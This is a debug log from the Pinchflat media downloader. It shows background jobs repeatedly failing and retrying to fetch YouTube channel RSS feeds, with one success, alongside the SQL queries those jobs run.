{"args":{"id":1},"id":536,"meta":{},"system_time":1784865055017163224,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:50:55.017 [debug] QUERY OK source="sources" db=0.0ms idle=1941.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:50:55.017 [debug] QUERY OK source="settings" db=0.0ms idle=1941.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:50:55.017 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:50:55.017 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:50:55.017 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 03:50:55.105 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":536,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":88109,"event":"job:exception","queue_time":286998,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:50:55.494 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:56.018 [info] {"args":{"id":2},"id":537,"meta":{},"system_time":1784865056018080584,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:50:56.018 [debug] QUERY OK source="sources" db=0.0ms idle=912.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 03:50:56.018 [debug] QUERY OK source="settings" db=0.0ms idle=906.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:50:56.018 [debug] QUERY OK source="media_profiles" db=0.0ms idle=524.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:50:56.018 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:50:56.018 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 03:50:56.124 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":2},"id":537,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":106187,"event":"job:exception","queue_time":619869,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:51:00.963 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:51:13.036 [info] {"args":{"id":1},"id":536,"meta":{},"system_time":1784865073036133204,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:51:13.036 [debug] QUERY OK source="sources" db=0.0ms idle=960.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:51:13.036 [debug] QUERY OK source="settings" db=0.0ms idle=960.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:13.036 [debug] QUERY OK source="media_profiles" db=0.0ms idle=960.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:51:13.036 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:13.036 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 03:51:13.143 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":536,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":106793,"event":"job:exception","queue_time":930139,"attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:51:15.039 [info] {"args":{"id":2},"id":537,"meta":{},"system_time":1784865075039269893,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:51:15.039 [debug] QUERY OK source="sources" db=0.0ms idle=1008.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 03:51:15.039 [debug] QUERY OK source="settings" db=0.0ms idle=963.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:15.039 [debug] QUERY OK source="media_profiles" db=0.0ms idle=963.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:51:15.039 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:15.039 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 03:51:15.222 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":2},"id":537,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":182233,"event":"job:exception","queue_time":914204,"attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:51:25.495 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:34.059 [info] {"args":{"id":1},"id":536,"meta":{},"system_time":1784865094059299122,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:51:34.059 [debug] QUERY OK source="sources" db=0.1ms idle=983.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:51:34.059 [debug] QUERY OK source="settings" db=0.1ms idle=983.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:34.059 [debug] QUERY OK source="media_profiles" db=0.0ms idle=983.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:51:34.060 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:34.060 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 03:51:34.190 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 03:51:34.191 [debug] QUERY OK source="media_items" db=0.2ms idle=131.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 03:51:34.193 [debug] QUERY OK source="media_items" db=2.1ms idle=131.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 03:51:34.194 [debug] QUERY OK source="tasks" db=0.0ms idle=134.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [538, 1, ~U[2026-07-24 03:51:34Z], ~U[2026-07-24 03:51:34Z]] 03:51:34.194 [info] {"args":{"id":1},"id":536,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":134949,"event":"job:stop","queue_time":915564,"attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:51:35.061 [info] {"args":{"id":2},"id":537,"meta":{},"system_time":1784865095061294592,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:51:35.061 [debug] QUERY OK source="sources" db=0.0ms idle=867.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 03:51:35.061 [debug] QUERY OK source="settings" db=0.0ms idle=867.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:35.061 [debug] QUERY OK source="media_profiles" db=0.0ms idle=861.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:51:35.061 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:35.061 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 03:51:35.164 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":2},"id":537,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":102705,"event":"job:exception","queue_time":839042,"attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:51:46.074 [info] {"args":{"id":3},"id":535,"meta":{},"system_time":1784865106074312731,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":8,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:51:46.074 [debug] QUERY OK source="sources" db=0.2ms idle=1008.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:51:46.074 [debug] QUERY OK source="settings" db=0.1ms idle=999.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:46.075 [debug] QUERY OK source="media_profiles" db=0.0ms idle=999.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:51:46.075 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:46.075 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 03:51:46.175 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":535,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":100479,"event":"job:exception","queue_time":699634,"attempt":8,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:51:55.496 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:59.088 [info] {"args":{"id":2},"id":537,"meta":{},"system_time":1784865119088223806,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":4,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:51:59.088 [debug] QUERY OK source="sources" db=0.0ms idle=12.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 03:51:59.088 [debug] QUERY OK source="settings" db=0.0ms idle=12.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:59.088 [debug] QUERY OK source="media_profiles" db=0.1ms idle=12.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:51:59.089 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:51:59.089 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 03:51:59.193 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":2},"id":537,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":105078,"event":"job:exception","queue_time":923469,"attempt":4,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:52:00.963 [info] {"source":"oban","duration":146,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:52:25.497 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:32.126 [info] {"args":{"id":2},"id":537,"meta":{},"system_time":1784865152126189615,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":5,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:52:32.126 [debug] QUERY OK source="sources" db=0.1ms idle=1050.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 03:52:32.126 [debug] QUERY OK source="settings" db=0.0ms idle=1050.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:52:32.126 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:52:32.126 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:52:32.126 [debug] 